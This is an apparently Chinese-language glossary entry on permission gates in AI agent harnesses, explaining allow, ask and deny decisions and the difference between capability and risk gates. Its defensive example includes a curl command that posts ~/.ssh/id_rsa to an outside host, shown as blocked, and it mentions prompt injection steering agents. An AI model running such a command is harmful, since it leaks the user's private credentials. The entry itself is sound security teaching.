Permission Gate（權限閘門）
又稱：權限閘門 · 權限關卡 · permission gate · 授權檢查
動作執行前的那個決策點：准、問人、還是擋 —— 由 harness 的程式碼強制，不靠模型自願。
你會在什麼時候遇到它
從你給 Agent 第一個能改變世界的工具開始，每一道防線最終都會落到某個閘門上。但要認清它的邊界：閘門管的是「這個動作可不可以做」，prompt injection 改的是「Agent 想不想做」—— 被注入的 Agent 會在權限範圍內老老實實做壞事。所以閘門取代不了輸入防護，輸入防護也取代不了閘門：一個限制能力，一個對抗意圖，缺一個都塌。
打個比方
像公司的門禁加簽核：門禁卡決定你能進哪幾層樓（能力），採購簽核決定這筆錢能不能花（風險）。一張能開所有樓層、又能自己核准採購的卡，就是災難的形狀 —— 不管持卡人到目前為止多老實。
最小範例
同一個 Agent 的四個工具請求，三種閘門決定（示意）：
read_file("src/app.ts")
→ ALLOW：唯讀，且在工作區內
write_file("src/app.ts")
→ ALLOW：可寫，但範圍限 workspace 之內
bash("curl -X POST ... -d @~/.ssh/id_rsa")
→ DENY：讀敏感路徑＋資料出網，命中規則直接擋
bash("rm -rf ./build")
→ ASK：可逆性存疑，彈出去問人
兩種閘門維度：
能力閘：這個工具／路徑／網路目標，原則上開不開放
風險閘：這一次具體參數的代價與可逆性，要不要升級成問人注意能力閘和風險閘的分別：只按能力分級（bash 一律要問），高風險和低風險動作被同樣對待，用戶很快疲勞；只按風險分級，規則會複雜到無法維護。實務是兩層疊起來：能力決定預設，風險決定個案要不要升級。
最常搞錯的地方
- 把閘門寫在提示詞裡（「未經允許請不要刪除檔案」）。提示詞是建議，不是控制：模型可能忽略，也可能被注入說服。真正的閘門是程式碼 —— 工具執行前的那個 if，模型說什麼都改變不了它的判斷。
- 用「一律最嚴」取代分級。所有動作都要人工批准，等於訓練用戶無腦按同意 —— 真正危險的那一次，會混在一百次無害的批准裡過關，閘門名存實亡。